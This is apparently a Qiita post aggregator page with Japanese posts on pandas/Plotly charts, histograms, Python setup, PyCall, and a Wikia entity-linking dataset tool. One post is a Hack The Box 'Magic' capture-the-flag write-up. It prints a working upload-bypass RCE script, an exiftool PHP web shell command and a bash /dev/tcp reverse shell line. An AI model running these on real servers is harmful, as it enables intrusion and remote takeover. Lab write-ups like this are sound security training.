無事、CSVに出力できました! ただそのままExcelで開くと文字化けしており、その影響で列も崩れてしまっていました。 メモ帳で開くと「Unix UTF-8」との表記だったので、Excelで「Unicode(UTF-8)」を選択してインポートして、無事成功です。 試行その4 このままプログラムでグラフにまでしてしまいたいものですがさてどうしたものか。 先に参考にさせていただいた記事の方々は散布図にPlotyを使ってらっしゃいましたが、これは棒グラフもできるものなのかしら。 [Python] Plotlyでぐりぐり動かせるグラフを作る 余裕で出来そうですね。がんばってみましょう。 (それにしてもぐりぐり動かせるグラフ作れるPlotly、すごい…) さて、調査タイムです。そもそもJupyter Notebookってなんですか? 【初心者向け】Jupyter Notebookの使い方!インストール方法から解説 「Jupyter Notebook」は、PythonなどをWebブラウザ上で記述・実行できる統合開発環境です。 Jupyter Notebookは、統計のモデリングや機械学習などデータ分析に使用されることが想定されており、データの視覚化などの作業に適しています。対話型の開発環境であるため、前の実行結果に応じて、次に実行するプログラムや作業を選択できます。なお、実行した結果は作業履歴として記録に残ります。 また、オープンソースで提供されているため、無料で利用が可能です。コミュニティによる機能のアップデートも頻繁に行われています。 以下のモジュールをインストールしてみました。 Anaconda3-2020.11-Windows-x86_64 Jupyter Notebookでは、赤枠のセルと呼ばれる部分にソースコードを入力していきます。「実行」ボタンをクリックするだけでソース―コードの実行結果を確認できるため、記述内容を確認しながらプログラムを作成できます。 Pythonでグラフを作成するためには、「matplotlib」というライブラリを使用するのが一般的です。 棒グラフを書きたい場合は、「numpy」ライブラリを使用します。 作成したPythonコードやマークダウンのファイルは、共有することが可能です。共有形式は、Jupyter Notebook自体のデータと、PDF、HTML、Pythonなどの形式が選べます。コードを共有して複数人で修正やカスタマイズする場合や、マークダウンやグラフなどの結果のみをクライアントなどに確認してもらう際に便利です。Jupyter Notebookを使用している人に向け、コードを含めたJupyter Notebookデータを共有したい場合は、「.ipynb」ファイルとして保存し、共有します。 さて、見様見真似で実行です。 あれ、CSVの場所を指定したいのですがJupyter Notebookでディレクトリ移動はどうするのかしら。。 Jupyter Notebookでのディレクトリ操作 カレントディレクトリの取得は%pwdで行えます。 ファイルリストの取得(表示)は%lsコマンドで行えます。 カレントディレクトリの移動は%cdコマンドで行えます。 %cd /anaconda3 # /anaconda3ディレクトに移動 %cd        # ホームディレクトリに移動 ふむふむ。Jupyter Notebookでディレクトリを移動していから以下のコードを投入していきます。 pip install plotly import pandas as pd import plotly.graph_objects as go import plotly.express as px from plotly.offline import init_notebook_mode, plot, iplot init_notebook_mode(connected=True) df = pd.read_csv("./qiita_list_notes.csv") df.head(20) とりあえず20行取り出すことには成功しました。 ここからグラフにしていきます。 年単位の合計値の棒グラフか、日付プロットの点で密度を見せるか、どちらかをしたいところですが果たしてPlotlyでどうやればいいものやら調査します。 Plotlyでレポート・論文に使えるグラフを描こう 綺麗なグラフのサンプルコードがいっぱいです。(↓)そのうち使いこなしたい。 Plotly Python Open Source Graphing Library そもそも基礎がわかってないのでそのあたりを調査します。 Pandas DataFrameを徹底解説!(作成、行・列の追加と削除、indexなど) Pandas(パンダス)とは、データを効率的に扱うために開発されたPythonのライブラリの1つで、データの取り込みや加工・集計、分析処理に利用します。 Pandasには2つの主要なデータ構造があり、Series(シリーズ)が1次元のデータ、DataFrame(データフレーム)が2次元のデータに対応します。 Pandas Excel、CSVファイルの読み込み、書き込み(出力) 作業を行っているディレクトリではなく、別のディレクトリからファイルを読み込む場合、ディレクトリの指定方法は、ファイル名の前にディレクトリを記述します。その際に、その前にrを付加します。例えば、ディレクトリ”C:\Test_Folder\Test_Folder2\Test_Folder3”の配下に先ほど利用したCSVファイル”T_Sales_Header.csv”を保存し、このCSVファイルを読み込む場合は、次のように書きます。 In [2]: df_sales = pd.read_csv(r"C:\Test_Folder\Test_Folder2\Test_Folder3\T_Sales_Header.csv" ...: , index_col=["Sales_No"]) ...: df_sales.head() Pandas 時系列データの集計(年度/月ごとに集計、resampleの使い方、移動平均など) DataFrameにおいて時系列のデータをある期間でグルーピングし直す場合、resampleを使います。 DataFrame.resample(rule = 期間) DataFrameには時系列のデータを格納します。また引数ruleではグルーピングし直す期間を指定します。期間は次のように記号で指定します。 記号 期間 A 年 M 月 Q 四半期 W 週 このようにresampleを利用して時系列のデータをグルーピングし直し、その結果を元に平均、最大値などを求めていきます。例えば平均を求める場合、以下のようにresampleの後に.mean()を付けて平均を求めます。 DataFrame.resample(rule = 期間).mean() pandasで時系列データをリサンプリングするresample, asfreq resample()の第一引数ruleにも、asfreq()と同様にD(日次)、W(週次)などの頻度コードを指定する。詳細は以下の記事を参照。 resample()が返すのはDatetimeIndexResampler型のオブジェクトで、それ自体をprint()で出力しても値は表示されない。 mean()(平均値)やmedian()(中央値)、sum()(合計)などのメソッドを呼ぶことで集約された値が算出される。 ほかにも、先頭の値、末尾の値を出力するfirst(), last()、個数を出力するcount()、OHLC(Open: 始値、High: 高値、Low: 安値、Close: 終値)を出力するohlc()もある。 print(df.resample('W').count()) やっと材料が揃った。。。resampleでcountを使えばいけるのではなかろうか。 df = pd.read_csv("./qiita_list_notes.csv", index_col=["作成日"]) df.resample(rule = "A").count() いけなかった。 んー。TypeErrorというからには型が違うときのエラーのようだ。 そういえば「作成日」列が日付であると宣言してないような? pandasのindexはdatetimeにすると便利 df["date"] = pd.to_datetime(df["date"]) df = df.set_index("date") df.head() Pandasで時間や日付データに変換するto_datetime関数の使い方 この関数はある程度ならフォーマットを検知してくれるのでとりあえず入れてみてうまく行かなかったらフォーマットを個別に指定するという形で使っても問題ありません。 str_1 = '2019/04/07' pd.to_datetime(str_1) ですが、このような例の場合、フォーマットを関数が内部で判断する必要があるため、大規模なデータを一括でdatetime64型に変換しようとすると処理の時間にかなりの差が出てきますのでデータ数が多いほどフォーマットを指定することをオススメします。 フォーマットの指定の仕方ですが、format引数で指定できます。 先ほどの"2019/04/07"ですと、format='%Y/%m/%d'のように指定します。ここの'%Y'は4桁の年数となり、小文字の'%y'は2桁の年数となります。 time_sr = pd.Series([20181024, 20200915, 20210111]) convert_time = pd.to_datetime(time_sr, format='%Y%m%d') convert_time よし、これででき・・・ない。 んー。あれ、そういえばCSV取り込みのときに主キー設定してたな。 df = pd.read_csv("./qiita_list_notes.csv", index_col=["作成日"]) これ外してみよう。 df = pd.read_csv("./qiita_list_notes.csv") df["作成日"] = pd.to_datetime(df["作成日"]) df = df.set_index("作成日") df.resample(rule = "A").count() できました! やー、これはうれしい。ひさびさにガチャガチャと試行錯誤しました。 あとはこれを棒グラフにしましょう。 はい、できませーん。 なんでや! んー、X軸が「作成日」かと言われるとcountしてるから微妙だな。 これX軸の指定削って、自動の処理に任せたらどうなるのかな。 df = pd.read_csv("./qiita_list_notes.csv") df["作成日"] = pd.to_datetime(df["作成日"]) df = df.set_index("作成日") df2 = df.resample(rule = "A").count() fig = px.bar(df2, y="記事タイトル") fig.show() できた! 考察 件数が少ないのがネックですが、グラフ結果としては右肩上がりであり、Notesは今後一層の盛り上がりが予想されます(?) 正直予想外でした。これがGoogle検索数や教えてgoo、Yahoo知恵袋の質問数であれば「玄人エンジニアが減って、無茶ぶりされて困った人が検索して件数増えたのかな」と思えるのですがQiita記事ですからね。ちょっと原因がわからない。 今後に向けて 欲を言うとグラフの「作成日」を「作成年」に、「記事タイトル」を「記事数」に変更したかったのですが時間切れ。簡単そうに思ったのですが、参考コードの継ぎ接ぎコピペではうまくいかず。 X軸とY軸の名前をlayoutに定義して、barのlayout引数に入れるだけでよさそうだったんですが、うーん。go.Figure()との違いとかがわかっていないので、基礎から固めたほうが良さそう。 Plotly 基本チャート - バーチャート・棒グラフ(1) あと表とグラフを見比べるとグラフが1年先に進んでます。グラフ化するときの仕様? countした表の日付を見るとxxxx年12月31日なので日本時間とグリニッジ標準時との差で次の年に計上されてたりする? 参考URL 調べたもののまだ読めてないのであとで読むメモ。 DatetimeIndexがわからんので逆引きでまとめとくの巻 Python pandas で日時関連のデータ操作をカンタンに 時系列データを読み込み,DatetimeIndexを持つpandas.DataFrameを作る 【Tips編】集計からダッシュボードの作成まで1本化!PythonとDashによるデータ可視化アプリ開発 〜様々なグラフを作成する〜 プログラムでグラフ化できなければExcelのピポッドでやろうとしたときのメモ。 これはこれで使いこなせるようになっておきたい。 Excelで年/四半期/月/週あたりの発生数をカウントする方法は?
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【Hack the Box】Magicをやってみた

ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。 そのためポートスキャンや権限昇格といった内容は省略しています。 このブログを参考にしています。こっちの方が分かりやすいです。 OSWE Prep — Hack The Box Magic 未検証のリダイレクト upload.phpの2~6行目のupload.phpのリダイレクト機能 upload.php 2 session_start(); 3 4 if (!isset($_SESSION['user_id'])) { 5 header("Location: login.php"); 6 } 2行目:セッションを作成するsession_start()を呼び出す。またはGET、POSTリクエスト、またはCookieを介して渡されたセッション識別子に基づいて現在のセッションを再開する。 4〜6行目:isset()を呼び出して、ユーザーがログインしているかどうかを確認する。 $ _SESSIONパラメータのuser_idインデックスがnullでないかどうかで判断している。 ユーザーがログインしていない場合は、header()が呼び出され、ユーザーがログインページにリダイレクトされる。 セッション情報は、/var/lib/php/sessionsに保存されます。sess_6aen…は、有効な認証情報でログインした際に作成されましたセッションです。セッション情報を確認するとisset()が呼び出されると、trueとなり、ログインページへのリダイレクトがスキップされています。 root@ubuntu:/var/lib/php/sessions# cat sess_6aengltqst8pck0jccrlkgmb8h user_id|s:1:"1"; ユーザーが有効なセッションIDを持っていない場合、ユーザーはリダイレクトされます。しかし6行目以降のコードはリダイレクト前のHTTPリクエストに引き続きレンダリングされます。 そのため、プロキシでリダイレクトを停止すると、アップロード機能が確認できます。 ファイルアップロード機能の脆弱性 7〜44行目は、アップロード機能となっていて、検証方法はが2つです。1つ目はファイル形式をチェックし、2つ目はマジックバイトを使用してファイル形式をチェックします。 upload.php 7 $target_dir = "images/uploads/"; 8 $target_file = $target_dir . basename($_FILES["image"]["name"]); 9 $uploadOk = 1; 10 $allowed = array('2', '3'); 11 12 // Check if image file is a actual image or fake image 13 if (isset($_POST["submit"])) { 14 // Allow certain file formats 15 $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); 16 if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != > 17 echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</s> 18 $uploadOk = 0; 19 } 20 21 if ($uploadOk === 1) { 22 // Check if image is actually png or jpg using magic bytes 23 $check = exif_imagetype($_FILES["image"]["tmp_name"]); 24 if (!in_array($check, $allowed)) { 25 echo "<script>alert('What are you trying to do there?')</script>"; 26 $uploadOk = 0; 27 } 28 } 29 //Check file contents 30 /*$image = file_get_contents($_FILES["image"]["tmp_name"]); 31 if (strpos($image, "<?") !== FALSE) { 32 echo "<script>alert('Detected \"\<\?\". PHP is not allowed!')</script>"; 33 $uploadOk = 0; 34 }*/ 35 36 // Check if $uploadOk is set to 0 by an error 37 if ($uploadOk === 1) { 38 if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) { 39 echo "The file " . basename($_FILES["image"]["name"]) . " has been u> 40 } else { 41 echo "Sorry, there was an error uploading your file."; 42 } 43 } 44 } 14〜19行目では、ファイル形式がJPG、PNG、JPEG以外のものであるかどうかを確認しています。 upload.php 14 // Allow certain file formats 15 $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION)); 16 if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != > 17 echo "<script>alert('Sorry, only JPG, JPEG & PNG files are allowed.')</s> 18 $uploadOk = 0; 19 } 15行目:アップロードされたファイルを取り込み、PATHINFO_EXTENSIONオプションでファイルの拡張子を取り除き、imageFileTypeに保存するpathinfo()を呼び出します。 このオプションhはファイルに複数の拡張子がある場合、最後の拡張子を削除します。 16〜18行目:ファイル拡張子がjpg、png、jpegであるかを確認し、そうでない場合は、ファイルのアップロードは失敗します。 PATHINFO_EXTENSIONオプションは最後の拡張子のみを削除するため、ファイルに複数の拡張子がある場合、例えば「test.php.png」のような名前をつければ、ファイル拡張子がpngであると認識されます。 2つめの検証は21〜28行目で、マジックバイトで画像が実際にpngまたはjepgであることを確認しています。 upload.php 21 if ($uploadOk === 1) { 22 // Check if image is actually png or jpg using magic bytes 23 $check = exif_imagetype($_FILES["image"]["tmp_name"]); 24 if (!in_array($check, $allowed)) { 25 echo "<script>alert('What are you trying to do there?')</script>"; 26 $uploadOk = 0; 27 } 28 } 23行目:アップロードされたファイルの最初のバイトを読み取り、署名をチェックするexif_imagetype()を呼び出します。正しい署名が見つかると、適切な定数値が返されます(GIFの場合は1、JPEGの場合は2、PNGの場合は3など)。それ以外の場合、戻り値はFalseです。 23〜27行目:in_array()で、exif_imagetype()から出力された定数値が、スクリプトの開始時に2と3に初期化された許可された値の配列に存在するかどうかを確認します。したがって、この検証チェックのみJPEGおよびPNG画像の署名を受け入れます。 exif_imagetype()は、署名を確認するために画像の最初のバイトのみを読み取ります。この検証をバイパスするにはexiftool()で既存のJPEGまたはPNGファイルにバックドアを追加するだけで済みます。コードの残りの行は、ファイルが上記の2つの検証をパスした後、ディレクトリimages/uploadsにファイルをアップロードします。 upload.php 36 // Check if $uploadOk is set to 0 by an error 37 if ($uploadOk === 1) { 38 if (move_uploaded_file($_FILES["image"]["tmp_name"], $target_file)) { 39 echo "The file " . basename($_FILES["image"]["name"]) . " has been u> 40 } else { 41 echo "Sorry, there was an error uploading your file."; 42 } 43 } RCEを実行するスクリプトは以下のようになります。 htb-magic-exploit.py # Developed using Python 2.7 # Refer to Usage Instructions in main method import requests import urllib import sys # To enable the proxy uncomment the following code ''' proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } ''' # And comment the following code proxies = { 'http': None, 'https': None } def upload_image(ip_address,image_file): print("-----------------------------------------------") print("----------------Uploading File-----------------") print("-----------------------------------------------") url_upload = 'http://' + ip_address + '/upload.php' files = { 'image': (image_file, open(image_file, 'rb'),'image/jpeg'), 'submit': (None, 'Upload Image') } postdata = requests.post(url_upload, files=files,allow_redirects=False, proxies=proxies) print('File uploaded!') print("") def call_image(ip_address, cmd, image_file): print("-----------------------------------------------") print("-------Calling File & Executing Payload--------") print("-----------------------------------------------") cmd_encoded = urllib.quote(cmd) url_call_upload = 'http://' + ip_address + '/images/uploads/' + image_file + '?cmd=' + cmd_encoded getdata = requests.get(url_call_upload, allow_redirects=False, proxies=proxies) print(getdata.text) print("") def main(): if len(sys.argv) < 4: print("-----------------------------------------------") print("-------------Usage Instructions----------------") print("-----------------------------------------------") print("The program requires three arguments: (1) Ip address (2) Malicious image file & (3) Command to run on the server.") print("Example Run Command: python upload.py 10.10.10.185 cat.php.jpeg ls") print("") print("--------Generate Malicious JPEG Image----------") print("Download a valid jpeg image and run the following command on the image to include a php web shell.") print("Command: exiftool -Comment='<?php system($_GET['cmd']); ?>' <image.jpeg>") print("Change the image extension to .php.jpeg") print("Then place image in the same directory as this script") print("") print("--------Commands to get Reverse Shell----------") print("Setup netcat listener on attack machine: nc -nlvp 443") print("Run script: python upload.py <target-ip> <image.php.jpeg> \"bash -c 'bash -i >& /dev/tcp/<attack-ip>/443 0>&1'\"") sys.exit(1) print("-----------------------------------------------") print("------------Initializing Variables-------------") print("-----------------------------------------------") ip_address = sys.argv[1] image_file = sys.argv[2] cmd = sys.argv[3] print ("IP address: %s" % ip_address) print ("Image to upload: %s" % image_file) print ("Command to run: %s" % cmd) print("") upload_image(ip_address, image_file) call_image(ip_address, cmd, image_file) if __name__ == "__main__": main()
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【histogram入門】pandasとmatplotlibでヒストグラムを描いてみた♬

簡単に以下のコードでpandasのヒストグラムが描けることは知っていた、 df.hist(bins=100) で、plt.show()とすれば、100個の区間に分けて頻度分布を描画する または、df.hist(bins=100).plot()で、plt.show()で描画できる。 しかし、もう少しいろいろ追加しようとして、調べたが適切な記事が無いのでまとめておく。 まず、numpyでの正規分布の生成 numpy.random.normal そして、ほぼ完成形は以下のとおり まず、使うlibは以下のとおり、 また、dataとして、numpyで正規分布を生成。 pandasのSeriesとして、pandasデータを作成する。 import numpy as np import pandas as pd import matplotlib.pyplot as plt data = np.random.normal(loc=15.0, scale=20.0, size=1000) #loc = 中心 scale = 標準偏差 size = deta数 df = pd.Series(data) このとき、pandasのヒストグラムは以下のように描ける。 一応、pandasでの解説が以下にあるが、軸labelや描画範囲の指定の仕方は理解できなかった。 ※dataの引数での指定はできるが、以下のセンスでは出来ないようだ 【参考】 pandas.DataFrame.hist ということで、コードは以下の通りで、欲しいグラフが描けた。 df.hist(bins=100, color = "blue", grid =True, label = 'pandas') plt.ylim(0,50) plt.ylabel('frequency') plt.xlim(-100, 100) plt.xlabel('index') plt.legend() plt.title('pandas_histgram_norm') plt.savefig("pandas_hist.png") plt.show() plt.close() 一方、同じようにpandasデータを渡してやれば、matplotlibでも以下のように同じ絵が描画できる。 plt.xlim(-100, 100) plt.ylim(0,50) plt.ylabel('frequency') plt.xlabel('index') plt.grid() plt.title('plt_histgram_norm') plt.hist(df,bins = 100, color = "red", label='plt') plt.legend() plt.savefig("plt_hist.png") plt.show() そして、以下のように二種類のグラフを重ねて描画できる。 【参考】 matplotlib / seaborn を利用してヒストグラムを描く方法 data = np.random.normal(loc=15.0, scale=20.0, size=1000) #loc = 中心 scale = 標準偏差 size = deta数 df = pd.Series(data) df.hist(bins=100, color = "blue", grid =True, label = 'pandas', alpha=0.6) plt.ylim(0,50) plt.ylabel('frequency') plt.xlim(-100, 100) plt.xlabel('index') plt.title('pandas&plt_histgram_norm') data2 = np.random.normal(loc=-15.0, scale=20.0, size=1000) df2 = pd.Series(data2) plt.hist(df2,bins = 100, color = "red", label='plt', alpha=0.6) plt.legend() plt.savefig("pandas&plt_hist.png") plt.show() 最後に上記参考のデータを重畳する例をseabornでなく、描画する。 ※もちろん、同じように描画することもできる plt.title('df2+df_histgram_norm') plt.ylim(0,100) plt.ylabel('frequency') plt.xlim(-100, 100) plt.xlabel('index') plt.grid() plt.hist([df2, df], bins=100, stacked=True,color = ["red","blue"], label = ['df2','df'], alpha=0.6) plt.legend() plt.savefig("pandas+plt_hist.png") plt.show() まとめ ・pandasとmatplotlibでそれぞれヒストグラムが描けた ・透過率を導入すると、2種類の分布を同時描画出来た ・2種類の分布の合成分布を描画出来た
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Ruby, TypeScript 使いが Python 環境を構築する

背景 色々あって 言語処理100本ノック 2020 (Rev 2) - NLP100 2020 を始めようと思ったが、Python の環境をどうすべきか分かりませんでした。同様に、他の言語から Python に来て迷った人の参考になれば幸いです。 ちなみに普段は Ruby(Rails) と TypeScript(React, Node.js) 、ちょっと Golang を書いているので、その辺りの人に馴染みやすいやり方かもしれません。 動作環境 macOS Catalina 10.15.7 anyenv 1.1.1 pyenv 1.2.26-15-gb1d1ceba Python 3.9.4 VSCode 1.55.2 環境構築 前準備 自分は anyenv 経由で pyenv を入れているので、 anyenv update pyenv install 3.9.4 pyenv rehash で Python の最新版を入れます。最新バージョンは Python.org で確認しました。 自分は新しいことを始める前に環境を最新にしていますが、好みの問題かもしれないですね。(そこそこ新しければそのままで良い気もするし、あまりに古ければアップデートした方が良い気もする。) pipenv を入れる ライブラリを管理する方法はいくつかあるようですが、仕事で先輩が pipenv を使っていて良さそうだったので、pipenv でやってみました。 cd /path/to/project pyenv local 3.9.4 # プロジェクト配下の Python バージョンを固定 pip install pipenv pipenv --python 3.9 # 初期化 参考 Pipenvの基本的な使い方 — pipenv 2018.11.27.dev0 ドキュメント Pipenvを使ったPython開発まとめ - Qiita Linter とオートフォーマットの設定をする ググると、flake8 + autopep8 でオートフォーマット(自動整形)するのがイケてそうだったので、その構成にしてみます。 pipenv install --dev flake8 autopep8 pipenv run autopep8 xxx.py で実行できるようになったはず。 Python - Visual Studio Marketplace を入れて、ファイル保存時に自動整形されるように設定します。 vscode/settings.json { "python.linting.pylintEnabled": false, "python.linting.flake8Enabled": true, "python.linting.lintOnSave": true, "python.formatting.provider": "autopep8", "editor.formatOnSave": true } pipenv install --dev でインストールした場合、 python.formatting.autopep8Path にautopep8 のパスを指定する必要がある。パスは↓↓で確認できる。 pipenv shell which autopep8 推奨拡張機能も設定しておくと便利。 vscode/extensions.json { "recommendations": [ "ms-python.python" ] } これで .py ファイルの lint エラーも出るし、ファイル保存時に自動整形されるようになったはず。 参考 VSCodeのPython開発環境でpylintの代わりにflake8を導入し自動整形を設定する - Qiita Flake8プラグイン&フォーマットツールまとめ | DevelopersIO
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

PyCall を使って Ruby でハートを描く その 2

はじめに 以前 PyCall を使って Ruby でハートを描く という記事を書きました。それから約 4 年後、久しぶりに PyCall を触ってみました。今度は 3D のハートを描画してみようと思います ❤️ PyCall について PyCall は Ruby から Python のコードを呼び出すことができる、mrkn (Kenta Murata) さんが作成されている Gem です。この mrkn さんは numpy.rb や matplotlib.rb など、Python で非常に有名なライブラリのラッパーライブラリも作成してくれています。今回はそれらも使用します。 バージョン情報 $ ruby -v ruby 3.0.1p64 (2021-04-05 revision 0fb782ee38) [x86_64-darwin20] $ gem list | grep -e "pycall" -e "numpy" -e "matplotlib" matplotlib (1.1.0) numpy (0.2.0) pycall (1.3.1) $ python --version Python 3.9.2 $ pip list | grep -e "numpy" -e "matplotlib" matplotlib 3.4.1 numpy 1.20.2 コード Stack Overflow の how to draw a heart with pylab という記事に記載されている Python のコードを Ruby に書き換えました。 require 'matplotlib/pyplot' require 'numpy' Axes3D = PyCall.import_module('mpl_toolkits.mplot3d').Axes3D def calculate_3d_heart(x, y, z) (x**2 + (9.0 / 4) * y**2 + z**2 - 1)**3 - x**2 * z**3 - (9.0 / 80) * y**2 * z**3 end def plot_3d_heart xmin, xmax, ymin, ymax, zmin, zmax = [-1.5, 1.5] * 3 fig = Matplotlib::Pyplot.figure ax = fig.add_subplot(111, projection: '3d') a = Numpy.linspace(xmin, xmax, 100) b = Numpy.linspace(xmin, xmax, 40) a1, a2 = Numpy.meshgrid(a, a) # numpy.ndarray は each や to_a ができないので index で値にアクセスする。 b.size.times do |i| x = a1 y = a2 z1 = b[i] z2 = calculate_3d_heart(x, y, z1) ax.contour(x, y, z1 + z2, [z1], zdir: 'z', colors: ['red']) end b.size.times do |i| x = a1 z = a2 y1 = b[i] y2 = calculate_3d_heart(x, y1, z) ax.contour(x, y1 + y2, z, [y1], zdir: 'y', colors: ['red']) end b.size.times do |i| y = a1 z = a2 x1 = b[i] x2 = calculate_3d_heart(x1, y, z) ax.contour(x1 + x2, y, z, [x1], zdir: 'x', colors: ['red']) end ax.set_zlim3d(zmin, zmax) ax.set_xlim3d(xmin, xmax) ax.set_ylim3d(ymin, ymax) Matplotlib::Pyplot.show end plot_3d_heart 上記の Ruby スクリプトを実行すると Tk のウィンドウが開きます。 若干血しぶきが飛び散っているのはご愛嬌 ? ちょっとした悩み Python ではスカラー値を x、ベクトル値を X のように変数名の大文字と小文字を使い分けているが、Ruby ではどうすればいいのでしょう ? Ruby だと大文字は定数と判断されるためです。 参考 mrkn/pycall.rb: Calling Python functions from the Ruby language mrkn/numpy.rb: Numpy wrapper for Ruby mrkn/matplotlib.rb: matplotlib wrapper for Ruby numpy.ndarray — NumPy v1.20 Manual mpl_toolkits.mplot3d.axes3d.Axes3D — Matplotlib 3.4.1 documentation
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Wikiaを用いた固有表現抽出・エンティティリンキングデータセットの作製

なんの記事? Wikiaを用いて、固有表現抽出とエンティティ・リンキング用のデータセットを作製するツールを公開しました。 ツールで作製されるデータセットの中身 固有表現に対して、それに紐づくエンティティがセットでアノテーションされている形になります。下は、VTuberのwikiaを用いて作製されたデータセットの一部です。 { "doc_title": "Melissa Kinrenka", "annotation": [ { "0": { "document_title": "Melissa Kinrenka", "anchor_sent": "Melissa Kinrenka (メリッサ・キンレンカ) is a Japanese Virtual YouTuber and member of <a> Nijisanji </a>.", "annotation_doc_entity_title": "Nijisanji", "mention": "Nijisanji", "original_sentence": "Melissa Kinrenka (メリッサ・キンレンカ) is a Japanese Virtual YouTuber and member of Nijisanji.", "original_sentence_mention_start": 75, "original_sentence_mention_end": 84 }, "1": { "document_title": "Melissa Kinrenka", "anchor_sent": "<a> Melissa Kinrenka </a> (メリッサ・キンレンカ) is a Japanese Virtual YouTuber and member of Nijisanji.", "annotation_doc_entity_title": "Melissa Kinrenka", "mention": "Melissa Kinrenka", "original_sentence": "Melissa Kinrenka (メリッサ・キンレンカ) is a Japanese Virtual YouTuber and member of Nijisanji.", "original_sentence_mention_start": 0, "original_sentence_mention_end": 16 } } } 各キーに紐づく値はそれぞれ以下のようになっています。 key value document_title アノテーションが存在する記事ページのタイトル anchor_sent アノテーション部分を <a> および </a> で囲んだ記事。エンティティ・リンキングを行う場合に使用します。 annotation_doc_entity_title アノテーションの紐付け先記事のタイトル mention 実際の文中のメンション(固有表現) original_sentence メンションが出現した、アンカー無しオリジナル文。 original_sentence_mention_start アンカー無しオリジナル文において、メンションの開始位置。 original_sentence_mention_end  アンカー無しオリジナル文において、メンションの終端位置。 ライセンスはWikiaのライセンスに従います。 Wikiaとは? 有志によるファンサイトコミュニティで、MediaWikiを利用したウィキ形式のウェブサイトです。MediaWiki形式なので、WikiExtractorを用いて前処理を行うことが可能です。 下はStar Warsからの引用です。 各コミュニティは、ウィキのページの集合から成り立ちます。それぞれのウィキ(例えば、上の"Ched Varga"の場合)を見てみると、登場人物の説明から始まり、説明文が続きます。 説明文の中には、同じコミュニティ内の別のページに飛ぶハイパーリンクが存在し、この部分を用いることで固有表現抽出とエンティティ・リンキング用のデータセットを作製することが可能です。 実際に行った前処理 Wikiextractorを用いた、リンクあり記事の抽出 前処理を行いたいコミュニティウィキのダンプファイルが[コミュニティ名].fandom.com/wiki/Special:Statisticsに存在するので、それをダウンロードして解凍した後、前処理を行います。(例:リンク) wikiExtractorを用いて、リンクを残しつつ記事を抽出します。 python -m wikiextractor.WikiExtractor ./dataset/virtualyoutuber_pages_current.xml --links --json 外部リンクの削除 このままだと、外部リンクと<a>タグが残ったままの記事になり、固有表現抽出タスクには使用できません。なので、情報を残しつつ削除を行います。 BeautifulSoupを用いた<a>タグ削除 soup = BeautifulSoup(sentence, "html.parser") for link in soup.find_all("a"): if "http" in link.get("href"): link.unwrap() return str(soup) これにより、ハイパーリンクを残しつつ外部リンクを削除します。例えば、<a href="Nijisanji">Nijisanji</a>などはハイパーリンクなので残ります。 正規表現を用いた、アノテーションスパンの抽出 この次に行われる、文章分割の精度を上げるため、テキストからハイパーリンク情報を分離します。 今回は正規表現を用いてアノテーション位置を同定し、aタグを除去した文章と位置情報を返す関数を実装しました。 def _convert_a_tag_to_start_and_end_position(self, text_which_may_contain_a_tag: str): a_tag_regex = "<a>(.+?)</a>" pattern = re.compile(a_tag_regex) a_tag_remaining_text = copy.copy(text_which_may_contain_a_tag) mention_positions = list() while '<a>' in a_tag_remaining_text: result = re.search(pattern=pattern, string=a_tag_remaining_text) if result == None: break original_start, original_end = result.span() a_tag_removed_start = copy.copy(original_start) a_tag_removed_end = copy.copy(original_end) - 7 mention = result.group(1) original_text_before_mention = a_tag_remaining_text[:original_start] original_text_after_mention = a_tag_remaining_text[original_end:] one_mention_a_tag_removed_text = original_text_before_mention + mention + original_text_after_mention assert mention == one_mention_a_tag_removed_text[a_tag_removed_start: a_tag_removed_end] mention_positions.append((a_tag_removed_start, a_tag_removed_end)) a_tag_remaining_text = copy.copy(one_mention_a_tag_removed_text) return a_tag_remaining_text, mention_positions spaCyを用いた文章分割 aタグを除去することが出来たので、spaCyを用いて文章分割を行います。 wikia はその性質上、lit.という略語がよく現れます。(参考) このlit. による文章分割を防ぎつつ、文章分割を行います。 import spacy from spacy.language import Language from spacy.symbols import ORTH nlp = spacy.load("en_core_web_md") @Language.component('set_custom_boundaries') def set_custom_boundaries(doc): for token in doc[:-1]: if token.text in ('lit.', 'Lit.', 'lit', 'Lit'): doc[token.i].is_sent_start = False return doc nlp.add_pipe('set_custom_boundaries', before="parser") nlp.tokenizer.add_special_case('lit.', [{ORTH: 'lit.'}]) nlp.tokenizer.add_special_case('Lit.', [{ORTH: 'Lit.'}]) アノテーションの追加 wikiaのページでは、コミュニティの運営者によって、ドキュメント内の各文書にハイパーリンクが付与されますが、常にすべての固有表現にアノテーションがされるわけではありません。 例えば、以下の例を見てみましょう。(Geroge Lucas のページから引用) George Lucasはこの記事の中でも幾度となく出現しますが、それら全てにはアノテーションは付与されていません。なぜなら、このページがそもそも"George Lucas"を説明する記事であるからです。 また、以下のような例もあります。(同じく"Geroge Lucas"の記事内から引用) この場合は"Lucas"が"Geroge Lucas"を指すことは言うまでもありません。 今回のデータセット作製時には、このように、ハイパーリンクが付与されていないものの、エンティティであると認められる場合についてもアノテーションを付与しました。 実際には、コミュニティ内のタイトル集合との文字列マッチを用いて、アノテーションを行うようプログラムを作製しました。 まとめ wikiaのダンプファイルを用いて、固有表現抽出とエンティティ・リンキングに使用可能なデータセットを生成するツールを作製しました。 このツールを使用することで、wikiaに存在する各コミュニティに特化した固有表現抽出モデルや、エンティティ・リンキングモデルを訓練するためのデータセット作製が可能になります。 コードはこちらになります。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

FORTUNE TRINITY 4 雷電JPC 前半抽選の概要について

